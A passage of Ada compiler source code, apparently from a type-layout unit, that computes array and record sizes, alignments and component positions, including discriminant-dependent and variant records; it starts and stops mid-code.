(rounding up to a storage unit boundary). ----------------------- -- Local Subprograms -- ----------------------- procedure Max_Discrim (N : in out Node_Id); -- If the node N represents a discriminant, replace it by the maximum -- value of the discriminant. procedure Min_Discrim (N : in out Node_Id); -- If the node N represents a discriminant, replace it by the minimum -- value of the discriminant. ----------------- -- Max_Discrim -- ----------------- procedure Max_Discrim (N : in out Node_Id) is begin if Nkind (N) = N_Identifier and then Ekind (Entity (N)) = E_Discriminant then N := Type_High_Bound (Etype (N)); end if; end Max_Discrim; ----------------- -- Min_Discrim -- ----------------- procedure Min_Discrim (N : in out Node_Id) is begin if Nkind (N) = N_Identifier and then Ekind (Entity (N)) = E_Discriminant then N := Type_Low_Bound (Etype (N)); end if; end Min_Discrim; -- Start of processing for Get_Max_SU_Size begin pragma Assert (Size_Depends_On_Discriminant (E)); -- Initialize status from component size if Known_Static_Component_Size (E) then Size := (Const, Component_Size (E)); else Size := (Dynamic, Expr_From_SO_Ref (Loc, Component_Size (E))); end if; -- Loop through indexes Indx := First_Index (E); while Present (Indx) loop Ityp := Etype (Indx); Lo := Type_Low_Bound (Ityp); Hi := Type_High_Bound (Ityp); Min_Discrim (Lo); Max_Discrim (Hi); -- Value of the current subscript range is statically known if Compile_Time_Known_Value (Lo) and then Compile_Time_Known_Value (Hi) then S := Expr_Value (Hi) - Expr_Value (Lo) + 1; -- If known flat bound, entire size of array is zero if S <= 0 then return Make_Integer_Literal (Loc, 0); end if; -- Current value is constant, evolve value if Size.Status = Const then Size.Val := Size.Val * S; -- Current value is dynamic else -- An interesting little optimization, if we have a pending -- conversion from bits to storage units, and the current -- length is a multiple of the storage unit size, then we -- can take the factor out here statically, avoiding some -- extra dynamic computations at the end. if SU_Convert_Required and then S mod SSU = 0 then S := S / SSU; SU_Convert_Required := False; end if; Size.Nod := Assoc_Multiply (Loc, Left_Opnd => Size.Nod, Right_Opnd => Make_Integer_Literal (Loc, Intval => S)); end if; -- Value of the current subscript range is dynamic else -- If the current size value is constant, then here is where we -- make a transition to dynamic values, which are always stored -- in storage units, However, we do not want to convert to SU's -- too soon, consider the case of a packed array of single bits, -- we want to do the SU conversion after computing the size in -- this case. if Size.Status = Const then -- If the current value is a multiple of the storage unit, -- then most certainly we can do the conversion now, simply -- by dividing the current value by the storage unit value. -- If this works, we set SU_Convert_Required to False. if Size.Val mod SSU = 0 then Size := (Dynamic, Make_Integer_Literal (Loc, Size.Val / SSU)); SU_Convert_Required := False; -- Otherwise, we go ahead and convert the value in bits, and -- set SU_Convert_Required to True to ensure that the final -- value is indeed properly converted. else Size := (Dynamic, Make_Integer_Literal (Loc, Size.Val)); SU_Convert_Required := True; end if; end if; -- Length is hi-lo+1 Len := Compute_Length (Lo, Hi); -- Check possible range of Len declare OK : Boolean; LLo : Uint; LHi : Uint; pragma Warnings (Off, LHi); begin Set_Parent (Len, E); Determine_Range (Len, OK, LLo, LHi); Len := Convert_To (Standard_Unsigned, Len); -- If we cannot verify that range cannot be super-flat, we need -- a max with zero, since length must be non-negative. if not OK or else LLo < 0 then Len := Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Standard_Unsigned, Loc), Attribute_Name => Name_Max, Expressions => New_List ( Make_Integer_Literal (Loc, 0), Len)); end if; end; end if; Next_Index (Indx); end loop; -- Here after processing all bounds to set sizes. If the value is a -- constant, then it is bits, so we convert to storage units. if Size.Status = Const then return Bits_To_SU (Make_Integer_Literal (Loc, Size.Val)); -- Case where the value is dynamic else -- Do convert from bits to SU's if needed if SU_Convert_Required then -- The expression required is (Size.Nod + SU - 1) / SU Size.Nod := Make_Op_Divide (Loc, Left_Opnd => Make_Op_Add (Loc, Left_Opnd => Size.Nod, Right_Opnd => Make_Integer_Literal (Loc, SSU - 1)), Right_Opnd => Make_Integer_Literal (Loc, SSU)); end if; return Size.Nod; end if; end Get_Max_SU_Size; ----------------------- -- Layout_Array_Type -- ----------------------- procedure Layout_Array_Type (E : Entity_Id) is Loc : constant Source_Ptr := Sloc (E); Ctyp : constant Entity_Id := Component_Type (E); Indx : Node_Id; Ityp : Entity_Id; Lo : Node_Id; Hi : Node_Id; S : Uint; Len : Node_Id; Insert_Typ : Entity_Id; -- This is the type with which any generated constants or functions -- will be associated (i.e. inserted into the freeze actions). This -- is normally the type being laid out. The exception occurs when -- we are laying out Itype's which are local to a record type, and -- whose scope is this record type. Such types do not have freeze -- nodes (because we have no place to put them). ------------------------------------ -- How An Array Type is Laid Out -- ------------------------------------ -- Here is what goes on. We need to multiply the component size of the -- array (which has already been set) by the length of each of the -- indexes. If all these values are known at compile time, then the -- resulting size of the array is the appropriate constant value. -- If the component size or at least one bound is dynamic (but no -- discriminants are present), then the size will be computed as an -- expression that calculates the proper size. -- If there is at least one discriminant bound, then the size is also -- computed as an expression, but this expression contains discriminant -- values which are obtained by selecting from a function parameter, and -- the size is given by a function that is passed the variant record in -- question, and whose body is the expression. type Val_Status_Type is (Const, Dynamic, Discrim); type Val_Type (Status : Val_Status_Type := Const) is record case Status is when Const => Val : Uint; -- Calculated value so far if Val_Status = Const when Discrim | Dynamic => Nod : Node_Id; -- Expression value so far if Val_Status /= Const end case; end record; -- Records the value or expression computed so far. Const means that -- the value is constant, and Val is the current constant value. -- Dynamic means that the value is dynamic, and in this case Nod is -- the Node_Id of the expression to compute the value, and Discrim -- means that at least one bound is a discriminant, in which case Nod -- is the expression so far (which will be the body of the function). Size : Val_Type; -- Value of size computed so far. See comments above Vtyp : Entity_Id := Empty; -- Variant record type for the formal parameter of the discriminant -- function V if Status = Discrim. SU_Convert_Required : Boolean := False; -- This is set to True if the final result must be converted from -- bits to storage units (rounding up to a storage unit boundary). Storage_Divisor : Uint := UI_From_Int (SSU); -- This is the amount that a nonstatic computed size will be divided -- by to convert it from bits to storage units. This is normally -- equal to SSU, but can be reduced in the case of packed components -- that fit evenly into a storage unit. Make_Size_Function : Boolean := False; -- Indicates whether to request that SO_Ref_From_Expr should -- encapsulate the array size expression in a function. procedure Discrimify (N : in out Node_Id); -- If N represents a discriminant, then the Size.Status is set to -- Discrim, and Vtyp is set. The parameter N is replaced with the -- proper expression to extract the discriminant value from V. ---------------- -- Discrimify -- ---------------- procedure Discrimify (N : in out Node_Id) is Decl : Node_Id; Typ : Entity_Id; begin if Nkind (N) = N_Identifier and then Ekind (Entity (N)) = E_Discriminant then Set_Size_Depends_On_Discriminant (E); if Size.Status /= Discrim then Decl := Parent (Parent (Entity (N))); Size := (Discrim, Size.Nod); Vtyp := Defining_Identifier (Decl); end if; Typ := Etype (N); N := Make_Selected_Component (Loc, Prefix => Make_Identifier (Loc, Vname), Selector_Name => New_Occurrence_Of (Entity (N), Loc)); -- Set the Etype attributes of the selected name and its prefix. -- Analyze_And_Resolve can't be called here because the Vname -- entity denoted by the prefix will not yet exist (it's created -- by SO_Ref_From_Expr, called at the end of Layout_Array_Type). Set_Etype (Prefix (N), Vtyp); Set_Etype (N, Typ); end if; end Discrimify; -- Start of processing for Layout_Array_Type begin -- Default alignment is component alignment if Unknown_Alignment (E) then Set_Alignment (E, Alignment (Ctyp)); end if; -- Calculate proper type for insertions if Is_Record_Type (Underlying_Type (Scope (E))) then Insert_Typ := Underlying_Type (Scope (E)); else Insert_Typ := E; end if; -- If the component type is a generic formal type then there's no point -- in determining a size for the array type. if Is_Generic_Type (Ctyp) then return; end if; -- Deal with component size if base type if Ekind (E) = E_Array_Type then -- Cannot do anything if Esize of component type unknown if Unknown_Esize (Ctyp) then return; end if; -- Set component size if not set already if Unknown_Component_Size (E) then Set_Component_Size (E, Esize (Ctyp)); end if; end if; -- (RM 13.3 (48)) says that the size of an unconstrained array -- is implementation defined. We choose to leave it as Unknown -- here, and the actual behavior is determined by the back end. if not Is_Constrained (E) then return; end if; -- Initialize status from component size if Known_Static_Component_Size (E) then Size := (Const, Component_Size (E)); else Size := (Dynamic, Expr_From_SO_Ref (Loc, Component_Size (E))); end if; -- Loop to process array indexes Indx := First_Index (E); while Present (Indx) loop Ityp := Etype (Indx); -- If an index of the array is a generic formal type then there is -- no point in determining a size for the array type. if Is_Generic_Type (Ityp) then return; end if; Lo := Type_Low_Bound (Ityp); Hi := Type_High_Bound (Ityp); -- Value of the current subscript range is statically known if Compile_Time_Known_Value (Lo) and then Compile_Time_Known_Value (Hi) then S := Expr_Value (Hi) - Expr_Value (Lo) + 1; -- If known flat bound, entire size of array is zero if S <= 0 then Set_Esize (E, Uint_0); Set_RM_Size (E, Uint_0); return; end if; -- If constant, evolve value if Size.Status = Const then Size.Val := Size.Val * S; -- Current value is dynamic else -- An interesting little optimization, if we have a pending -- conversion from bits to storage units, and the current -- length is a multiple of the storage unit size, then we -- can take the factor out here statically, avoiding some -- extra dynamic computations at the end. if SU_Convert_Required and then S mod SSU = 0 then S := S / SSU; SU_Convert_Required := False; end if; -- Now go ahead and evolve the expression Size.Nod := Assoc_Multiply (Loc, Left_Opnd => Size.Nod, Right_Opnd => Make_Integer_Literal (Loc, Intval => S)); end if; -- Value of the current subscript range is dynamic else -- If the current size value is constant, then here is where we -- make a transition to dynamic values, which are always stored -- in storage units, However, we do not want to convert to SU's -- too soon, consider the case of a packed array of single bits, -- we want to do the SU conversion after computing the size in -- this case. if Size.Status = Const then -- If the current value is a multiple of the storage unit, -- then most certainly we can do the conversion now, simply -- by dividing the current value by the storage unit value. -- If this works, we set SU_Convert_Required to False. if Size.Val mod SSU = 0 then Size := (Dynamic, Make_Integer_Literal (Loc, Size.Val / SSU)); SU_Convert_Required := False; -- If the current value is a factor of the storage unit, then -- we can use a value of one for the size and reduce the -- strength of the later division. elsif SSU mod Size.Val = 0 then Storage_Divisor := SSU / Size.Val; Size := (Dynamic, Make_Integer_Literal (Loc, Uint_1)); SU_Convert_Required := True; -- Otherwise, we go ahead and convert the value in bits, and -- set SU_Convert_Required to True to ensure that the final -- value is indeed properly converted. else Size := (Dynamic, Make_Integer_Literal (Loc, Size.Val)); SU_Convert_Required := True; end if; end if; Discrimify (Lo); Discrimify (Hi); -- Length is hi-lo+1 Len := Compute_Length (Lo, Hi); -- If Len isn't a Length attribute, then its range needs to be -- checked a possible Max with zero needs to be computed. if Nkind (Len) /= N_Attribute_Reference or else Attribute_Name (Len) /= Name_Length then declare OK : Boolean; LLo : Uint; LHi : Uint; begin -- Check possible range of Len Set_Parent (Len, E); Determine_Range (Len, OK, LLo, LHi); Len := Convert_To (Standard_Unsigned, Len); -- If range definitely flat or superflat, result size is 0 if OK and then LHi <= 0 then Set_Esize (E, Uint_0); Set_RM_Size (E, Uint_0); return; end if; -- If we cannot verify that range cannot be super-flat, we -- need a max with zero, since length cannot be negative. if not OK or else LLo < 0 then Len := Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Standard_Unsigned, Loc), Attribute_Name => Name_Max, Expressions => New_List ( Make_Integer_Literal (Loc, 0), Len)); end if; end; end if; -- At this stage, Len has the expression for the length Size.Nod := Assoc_Multiply (Loc, Left_Opnd => Size.Nod, Right_Opnd => Len); end if; Next_Index (Indx); end loop; -- Here after processing all bounds to set sizes. If the value is a -- constant, then it is bits, and the only thing we need to do is to -- check against explicit given size and do alignment adjust. if Size.Status = Const then Set_And_Check_Static_Size (E, Size.Val, Size.Val); Adjust_Esize_Alignment (E); -- Case where the value is dynamic else -- Do convert from bits to SU's if needed if SU_Convert_Required then -- The expression required is: -- (Size.Nod + Storage_Divisor - 1) / Storage_Divisor Size.Nod := Make_Op_Divide (Loc, Left_Opnd => Make_Op_Add (Loc, Left_Opnd => Size.Nod, Right_Opnd => Make_Integer_Literal (Loc, Storage_Divisor - 1)), Right_Opnd => Make_Integer_Literal (Loc, Storage_Divisor)); end if; -- If the array entity is not declared at the library level and its -- not nested within a subprogram that is marked for inlining, then -- we request that the size expression be encapsulated in a function. -- Since this expression is not needed in most cases, we prefer not -- to incur the overhead of the computation on calls to the enclosing -- subprogram except for subprograms that require the size. if not Is_Library_Level_Entity (E) then Make_Size_Function := True; declare Parent_Subp : Entity_Id := Enclosing_Subprogram (E); begin while Present (Parent_Subp) loop if Is_Inlined (Parent_Subp) then Make_Size_Function := False; exit; end if; Parent_Subp := Enclosing_Subprogram (Parent_Subp); end loop; end; end if; -- Now set the dynamic size (the Value_Size is always the same as the -- Object_Size for arrays whose length is dynamic). -- ??? If Size.Status = Dynamic, Vtyp will not have been set. -- The added initialization sets it to Empty now, but is this -- correct? Set_Esize (E, SO_Ref_From_Expr (Size.Nod, Insert_Typ, Vtyp, Make_Func => Make_Size_Function)); Set_RM_Size (E, Esize (E)); end if; end Layout_Array_Type; ------------------------------------------ -- Compute_Size_Depends_On_Discriminant -- ------------------------------------------ procedure Compute_Size_Depends_On_Discriminant (E : Entity_Id) is Indx : Node_Id; Ityp : Entity_Id; Lo : Node_Id; Hi : Node_Id; Res : Boolean := False; begin -- Loop to process array indexes Indx := First_Index (E); while Present (Indx) loop Ityp := Etype (Indx); -- If an index of the array is a generic formal type then there is -- no point in determining a size for the array type. if Is_Generic_Type (Ityp) then return; end if; Lo := Type_Low_Bound (Ityp); Hi := Type_High_Bound (Ityp); if (Nkind (Lo) = N_Identifier and then Ekind (Entity (Lo)) = E_Discriminant) or else (Nkind (Hi) = N_Identifier and then Ekind (Entity (Hi)) = E_Discriminant) then Res := True; end if; Next_Index (Indx); end loop; if Res then Set_Size_Depends_On_Discriminant (E); end if; end Compute_Size_Depends_On_Discriminant; ------------------- -- Layout_Object -- ------------------- procedure Layout_Object (E : Entity_Id) is T : constant Entity_Id := Etype (E); begin -- Nothing to do if backend does layout if not Frontend_Layout_On_Target then return; end if; -- Set size if not set for object and known for type. Use the RM_Size if -- that is known for the type and Esize is not. if Unknown_Esize (E) then if Known_Esize (T) then Set_Esize (E, Esize (T)); elsif Known_RM_Size (T) then Set_Esize (E, RM_Size (T)); end if; end if; -- Set alignment from type if unknown and type alignment known if Unknown_Alignment (E) and then Known_Alignment (T) then Set_Alignment (E, Alignment (T)); end if; -- Make sure size and alignment are consistent Adjust_Esize_Alignment (E); -- Final adjustment, if we don't know the alignment, and the Esize was -- not set by an explicit Object_Size attribute clause, then we reset -- the Esize to unknown, since we really don't know it. if Unknown_Alignment (E) and then not Has_Size_Clause (E) then Set_Esize (E, Uint_0); end if; end Layout_Object; ------------------------ -- Layout_Record_Type -- ------------------------ procedure Layout_Record_Type (E : Entity_Id) is Loc : constant Source_Ptr := Sloc (E); Decl : Node_Id; Comp : Entity_Id; -- Current component being laid out Prev_Comp : Entity_Id; -- Previous laid out component procedure Get_Next_Component_Location (Prev_Comp : Entity_Id; Align : Uint; New_Npos : out SO_Ref; New_Fbit : out SO_Ref; New_NPMax : out SO_Ref; Force_SU : Boolean); -- Given the previous component in Prev_Comp, which is already laid -- out, and the alignment of the following component, lays out the -- following component, and returns its starting position in New_Npos -- (Normalized_Position value), New_Fbit (Normalized_First_Bit value), -- and New_NPMax (Normalized_Position_Max value). If Prev_Comp is empty -- (no previous component is present), then New_Npos, New_Fbit and -- New_NPMax are all set to zero on return. This procedure is also -- used to compute the size of a record or variant by giving it the -- last component, and the record alignment. Force_SU is used to force -- the new component location to be aligned on a storage unit boundary, -- even in a packed record, False means that the new position does not -- need to be bumped to a storage unit boundary, True means a storage -- unit boundary is always required. procedure Layout_Component (Comp : Entity_Id; Prev_Comp : Entity_Id); -- Lays out component Comp, given Prev_Comp, the previously laid-out -- component (Prev_Comp = Empty if no components laid out yet). The -- alignment of the record itself is also updated if needed. Both -- Comp and Prev_Comp can be either components or discriminants. procedure Layout_Components (From : Entity_Id; To : Entity_Id; Esiz : out SO_Ref; RM_Siz : out SO_Ref); -- This procedure lays out the components of the given component list -- which contains the components starting with From and ending with To. -- The Next_Entity chain is used to traverse the components. On entry, -- Prev_Comp is set to the component preceding the list, so that the -- list is laid out after this component. Prev_Comp is set to Empty if -- the component list is to be laid out starting at the start of the -- record. On return, the components are all laid out, and Prev_Comp is -- set to the last laid out component. On return, Esiz is set to the -- resulting Object_Size value, which is the length of the record up -- to and including the last laid out entity. For Esiz, the value is -- adjusted to match the alignment of the record. RM_Siz is similarly -- set to the resulting Value_Size value, which is the same length, but -- not adjusted to meet the alignment. Note that in the case of variant -- records, Esiz represents the maximum size. procedure Layout_Non_Variant_Record; -- Procedure called to lay out a non-variant record type or subtype procedure Layout_Variant_Record; -- Procedure called to lay out a variant record type. Decl is set to the -- full type declaration for the variant record. --------------------------------- -- Get_Next_Component_Location -- --------------------------------- procedure Get_Next_Component_Location (Prev_Comp : Entity_Id; Align : Uint; New_Npos : out SO_Ref; New_Fbit : out SO_Ref; New_NPMax : out SO_Ref; Force_SU : Boolean) is begin -- No previous component, return zero position if No (Prev_Comp) then New_Npos := Uint_0; New_Fbit := Uint_0; New_NPMax := Uint_0; return; end if; -- Here we have a previous component declare Loc : constant Source_Ptr := Sloc (Prev_Comp); Old_Npos : constant SO_Ref := Normalized_Position (Prev_Comp); Old_Fbit : constant SO_Ref := Normalized_First_Bit (Prev_Comp); Old_NPMax : constant SO_Ref := Normalized_Position_Max (Prev_Comp); Old_Esiz : constant SO_Ref := Esize (Prev_Comp); Old_Maxsz : Node_Id; -- Expression representing maximum size of previous component begin -- Case where previous field had a dynamic size if Is_Dynamic_SO_Ref (Esize (Prev_Comp)) then -- If the previous field had a dynamic length, then it is -- required to occupy an integral number of storage units, -- and start on a storage unit boundary. This means that -- the Normalized_First_Bit value is zero in the previous -- component, and the new value is also set to zero. New_Fbit := Uint_0; -- In this case, the new position is given by an expression -- that is the sum of old normalized position and old size. New_Npos := SO_Ref_From_Expr (Assoc_Add (Loc, Left_Opnd => Expr_From_SO_Ref (Loc, Old_Npos), Right_Opnd => Expr_From_SO_Ref (Loc, Old_Esiz, Prev_Comp)), Ins_Type => E, Vtype => E); -- Get maximum size of previous component if Size_Depends_On_Discriminant (Etype (Prev_Comp)) then Old_Maxsz := Get_Max_SU_Size (Etype (Prev_Comp)); else Old_Maxsz := Expr_From_SO_Ref (Loc, Old_Esiz, Prev_Comp); end if; -- Now we can compute the new max position. If the max size -- is static and the old position is static, then we can -- compute the new position statically. if Nkind (Old_Maxsz) = N_Integer_Literal and then Known_Static_Normalized_Position_Max (Prev_Comp) then New_NPMax := Old_NPMax + Intval (Old_Maxsz); -- Otherwise new max position is dynamic else New_NPMax := SO_Ref_From_Expr (Assoc_Add (Loc, Left_Opnd => Expr_From_SO_Ref (Loc, Old_NPMax), Right_Opnd => Old_Maxsz), Ins_Type => E, Vtype => E); end if; -- Previous field has known static Esize else New_Fbit := Old_Fbit + Old_Esiz; -- Bump New_Fbit to storage unit boundary if required if New_Fbit /= 0 and then Force_SU then New_Fbit := (New_Fbit + SSU - 1) / SSU * SSU; end if; -- If old normalized position is static, we can go ahead and -- compute the new normalized position directly. if Known_Static_Normalized_Position (Prev_Comp) then New_Npos := Old_Npos; if New_Fbit >= SSU then New_Npos := New_Npos + New_Fbit / SSU; New_Fbit := New_Fbit mod SSU; end if; -- Bump alignment if stricter than prev if Align > Alignment (Etype (Prev_Comp)) then New_Npos := (New_Npos + Align - 1) / Align * Align; end if; -- The max position is always equal to the position if -- the latter is static, since arrays depending on the -- values of discriminants never have static sizes. New_NPMax := New_Npos; return; -- Case of old normalized position is dynamic else -- If new bit position is within the current storage unit, -- we can just copy the old position as the result position -- (we have already set the new first bit value). if New_Fbit < SSU then New_Npos := Old_Npos; New_NPMax := Old_NPMax; -- If new bit position is past the current storage unit, we -- need to generate a new dynamic value for the position -- ??? need to deal with alignment else New_Npos := SO_Ref_From_Expr (Assoc_Add (Loc, Left_Opnd => Expr_From_SO_Ref (Loc, Old_Npos), Right_Opnd => Make_Integer_Literal (Loc, Intval => New_Fbit / SSU)), Ins_Type => E, Vtype => E); New_NPMax := SO_Ref_From_Expr (Assoc_Add (Loc, Left_Opnd => Expr_From_SO_Ref (Loc, Old_NPMax), Right_Opnd => Make_Integer_Literal (Loc, Intval => New_Fbit / SSU)), Ins_Type => E, Vtype => E); New_Fbit := New_Fbit mod SSU; end if; end if; end if; end; end Get_Next_Component_Location; ---------------------- -- Layout_Component -- ---------------------- procedure Layout_Component (Comp : Entity_Id; Prev_Comp : Entity_Id) is Ctyp : constant Entity_Id := Etype (Comp); ORC : constant Entity_Id := Original_Record_Component (Comp); Npos : SO_Ref; Fbit : SO_Ref; NPMax : SO_Ref; Forc : Boolean; begin -- Increase alignment of record if necessary. Note that we do not -- do this for packed records, which have an alignment of one by -- default, or for records for which an explicit alignment was -- specified with an alignment clause. if not Is_Packed (E) and then not Has_Alignment_Clause (E) and then Alignment (Ctyp) > Alignment (E) then Set_Alignment (E, Alignment (Ctyp)); end if; -- If original component set, then use same layout if Present (ORC) and then ORC /= Comp then Set_Normalized_Position (Comp, Normalized_Position (ORC)); Set_Normalized_First_Bit (Comp, Normalized_First_Bit (ORC)); Set_Normalized_Position_Max (Comp, Normalized_Position_Max (ORC)); Set_Component_Bit_Offset (Comp, Component_Bit_Offset (ORC)); Set_Esize (Comp, Esize (ORC)); return; end if; -- Parent field is always at start of record, this will overlap -- the actual fields that are part of the parent, and that's fine if Chars (Comp) = Name_uParent then Set_Normalized_Position (Comp, Uint_0); Set_Normalized_First_Bit (Comp, Uint_0); Set_Normalized_Position_Max (Comp, Uint_0); Set_Component_Bit_Offset (Comp, Uint_0); Set_Esize (Comp, Esize (Ctyp)); return; end if; -- Check case of type of component has a scope of the record we are -- laying out. When this happens, the type in question is an Itype -- that has not yet been laid out (that's because such types do not -- get frozen in the normal manner, because there is no place for -- the freeze nodes). if Scope (Ctyp) = E then Layout_Type (Ctyp); end if; -- If component already laid out, then we are done if Known_Normalized_Position (Comp) then return; end if; -- Set size of component from type. We use the Esize except in a -- packed record, where we use the RM_Size (since that is what the -- RM_Size value, as distinct from the Object_Size is useful for). if Is_Packed (E) then Set_Esize (Comp, RM_Size (Ctyp)); else Set_Esize (Comp, Esize (Ctyp)); end if; -- Compute the component position from the previous one. See if -- current component requires being on a storage unit boundary. -- If record is not packed, we always go to a storage unit boundary if not Is_Packed (E) then Forc := True; -- Packed cases else -- Elementary types do not need SU boundary in packed record if Is_Elementary_Type (Ctyp) then Forc := False; -- Packed array types with a modular packed array type do not -- force a storage unit boundary (since the code generation -- treats these as equivalent to the underlying modular type), elsif Is_Array_Type (Ctyp) and then Is_Bit_Packed_Array (Ctyp) and then Is_Modular_Integer_Type (Packed_Array_Impl_Type (Ctyp)) then Forc := False; -- Record types with known length less than or equal to the length -- of long long integer can also be unaligned, since they can be -- treated as scalars. elsif Is_Record_Type (Ctyp) and then not Is_Dynamic_SO_Ref (Esize (Ctyp)) and then Esize (Ctyp) <= Esize (Standard_Long_Long_Integer) then Forc := False; -- All other cases force a storage unit boundary, even when packed else Forc := True; end if; end if; -- Now get the next component location Get_Next_Component_Location (Prev_Comp, Alignment (Ctyp), Npos, Fbit, NPMax, Forc); Set_Normalized_Position (Comp, Npos); Set_Normalized_First_Bit (Comp, Fbit); Set_Normalized_Position_Max (Comp, NPMax); -- Set Component_Bit_Offset in the static case if Known_Static_Normalized_Position (Comp) and then Known_Normalized_First_Bit (Comp) then Set_Component_Bit_Offset (Comp, SSU * Npos + Fbit); end if; end Layout_Component; ----------------------- -- Layout_Components -- ----------------------- procedure Layout_Components (From : Entity_Id; To : Entity_Id; Esiz : out SO_Ref; RM_Siz : out SO_Ref) is End_Npos : SO_Ref; End_Fbit : SO_Ref; End_NPMax : SO_Ref; begin -- Only lay out components if there are some to lay out if Present (From) then -- Lay out components with no component clauses Comp := From; loop if Ekind (Comp) = E_Component or else Ekind (Comp) = E_Discriminant then -- The compatibility of component clauses with composite -- types isn't checked in Sem_Ch13, so we check it here. if Present (Component_Clause (Comp)) then if Is_Composite_Type (Etype (Comp)) and then Esize (Comp) < RM_Size (Etype (Comp)) then Error_Msg_Uint_1 := RM_Size (Etype (Comp)); Error_Msg_NE ("size for & too small, minimum allowed is ^", Component_Clause (Comp), Comp); end if; else Layout_Component (Comp, Prev_Comp); Prev_Comp := Comp; end if; end if; exit when Comp = To; Next_Entity (Comp); end loop; end if; -- Set size fields, both are zero if no components if No (Prev_Comp) then Esiz := Uint_0; RM_Siz := Uint_0; -- If record subtype with non-static discriminants, then we don't -- know which variant will be the one which gets chosen. We don't -- just want to set the maximum size from the base, because the -- size should depend on the particular variant. -- What we do is to use the RM_Size of the base type, which has -- the necessary conditional computation of the size, using the -- size information for the particular variant chosen. Records -- with default discriminants for example have an Esize that is -- set to the maximum of all variants, but that's not what we -- want for a constrained subtype. elsif Ekind (E) = E_Record_Subtype and then not Has_Static_Discriminants (E) then declare BT : constant Node_Id := Base_Type (E); begin Esiz := RM_Size (BT); RM_Siz := RM_Size (BT); Set_Alignment (E, Alignment (BT)); end; else -- First the object size, for which we align past the last field -- to the alignment of the record (the object size is required to -- be a multiple of the alignment). Get_Next_Component_Location (Prev_Comp, Alignment (E), End_Npos, End_Fbit, End_NPMax, Force_SU => True); -- If the resulting normalized position is a dynamic reference, -- then the size is dynamic, and is stored in storage units. In -- this case, we set the RM_Size to the same value, it is simply -- not worth distinguishing Esize and RM_Size values in the -- dynamic case, since the RM has nothing to say about them. -- Note that a size cannot have been given in this case, since -- size specifications cannot be given for variable length types. declare Align : constant Uint := Alignment (E); begin if Is_Dynamic_SO_Ref (End_Npos) then RM_Siz := End_Npos; -- Set the Object_Size allowing for the alignment. In the -- dynamic case, we must do the actual runtime computation. -- We can skip this in the non-packed record case if the -- last component has a smaller alignment than the overall -- record alignment. if Is_Dynamic_SO_Ref (End_NPMax) then Esiz := End_NPMax; if Is_Packed (E) or else Alignment (Etype (Prev_Comp)) < Align then -- The expression we build is: -- (expr + align - 1) / align * align Esiz := SO_Ref_From_Expr (Expr => Make_Op_Multiply (Loc, Left_Opnd => Make_Op_Divide (Loc, Left_Opnd => Make_Op_Add (Loc, Left_Opnd => Expr_From_SO_Ref (Loc, Esiz), Right_Opnd => Make_Integer_Literal (Loc, Intval => Align - 1)), Right_Opnd => Make_Integer_Literal (Loc, Align)), Right_Opnd => Make_Integer_Literal (Loc, Align)), Ins_Type => E, Vtype => E); end if; -- Here Esiz is static, so we can adjust the alignment -- directly go give the required aligned value. else Esiz := (End_NPMax + Align - 1) / Align * Align * SSU; end if; -- Case where computed size is static else -- The ending size was computed in Npos in storage units, -- but the actual size is stored in bits, so adjust -- accordingly. We also adjust the size to match the -- alignment here. Esiz := (End_NPMax + Align - 1) / Align * Align * SSU; -- Compute the resulting Value_Size (RM_Size). For this -- purpose we do not force alignment of the record or -- storage size alignment of the result. Get_Next_Component_Location (Prev_Comp, Uint_0, End_Npos, End_Fbit, End_NPMax, Force_SU => False); RM_Siz := End_Npos * SSU + End_Fbit; Set_And_Check_Static_Size (E, Esiz, RM_Siz); end if; end; end if; end Layout_Components; ------------------------------- -- Layout_Non_Variant_Record -- ------------------------------- procedure Layout_Non_Variant_Record is Esiz : SO_Ref; RM_Siz : SO_Ref; begin Layout_Components (First_Entity (E), Last_Entity (E), Esiz, RM_Siz); Set_Esize (E, Esiz); Set_RM_Size (E, RM_Siz); end Layout_Non_Variant_Record; --------------------------- -- Layout_Variant_Record -- --------------------------- procedure Layout_Variant_Record is Tdef : constant Node_Id := Type_Definition (Decl); First_Discr : Entity_Id; Last_Discr : Entity_Id; Esiz : SO_Ref; RM_Siz : SO_Ref; pragma Warnings (Off, SO_Ref); RM_Siz_Expr : Node_Id := Empty; -- Expression for the evolving RM_Siz value. This is typically an if -- expression which involves tests of discriminant values that are -- formed as references to the entity V. At the end of scanning all -- the components, a suitable function is constructed in which V is -- the parameter. ----------------------- -- Local Subprograms -- ----------------------- procedure Layout_Component_List (Clist : Node_Id; Esiz : out SO_Ref; RM_Siz_Expr : out Node_Id); -- Recursive procedure, called to lay out one component list Esiz -- and RM_Siz_Expr are set to the Object_Size and Value_Size values -- respectively representing the record size up to and including the -- last component in the component list (including any variants in -- this component list). RM_Siz_Expr is returned as an expression -- which may in the general case involve some references to the -- discriminants of the current record value, referenced by selecting -- from the entity V. --------------------------- -- Layout_Component_List -- --------------------------- procedure Layout_Component_List (Clist : Node_Id; Esiz : out SO_Ref; RM_Siz_Expr : out Node_Id) is Citems : constant List_Id := Component_Items (Clist); Vpart : constant Node_Id := Variant_Part (Clist); Prv : Node_Id; Var : Node_Id; RM_Siz : Uint; RMS_Ent : Entity_Id; begin if Is_Non_Empty_List (Citems) then Layout_Components (From => Defining_Identifier (First (Citems)), To => Defining_Identifier (Last (Citems)), Esiz => Esiz, RM_Siz => RM_Siz); else Layout_Components (Empty, Empty, Esiz, RM_Siz); end if; -- Case where no variants are present in the component list if No (Vpart) then -- The Esiz value has been correctly set by the call to -- Layout_Components, so there is nothing more to be done. -- For RM_Siz, we have an SO_Ref value, which we must convert -- to an appropriate expression. if Is_Static_SO_Ref (RM_Siz) then RM_Siz_Expr := Make_Integer_Literal (Loc, Intval => RM_Siz); else RMS_Ent := Get_Dynamic_SO_Entity (RM_Siz); -- If the size is represented by a function, then we create -- an appropriate function call using V as the parameter to -- the call. if Is_Discrim_SO_Function (RMS_Ent) then RM_Siz_Expr := Make_Function_Call (Loc, Name => New_Occurrence_Of (RMS_Ent, Loc), Parameter_Associations => New_List ( Make_Identifier (Loc, Vname))); -- If the size is represented by a constant, then the -- expression we want is a reference to this constant else RM_Siz_Expr := New_Occurrence_Of (RMS_Ent, Loc); end if; end if; -- Case where variants are present in this component list else declare EsizV : SO_Ref; RM_SizV : Node_Id; Dchoice : Node_Id; Discrim : Node_Id; Dtest : Node_Id; D_List : List_Id; D_Entity : Entity_Id; begin RM_Siz_Expr := Empty; Prv := Prev_Comp; Var := Last (Variants (Vpart)); while Present (Var) loop Prev_Comp := Prv; Layout_Component_List (Component_List (Var), EsizV, RM_SizV); -- 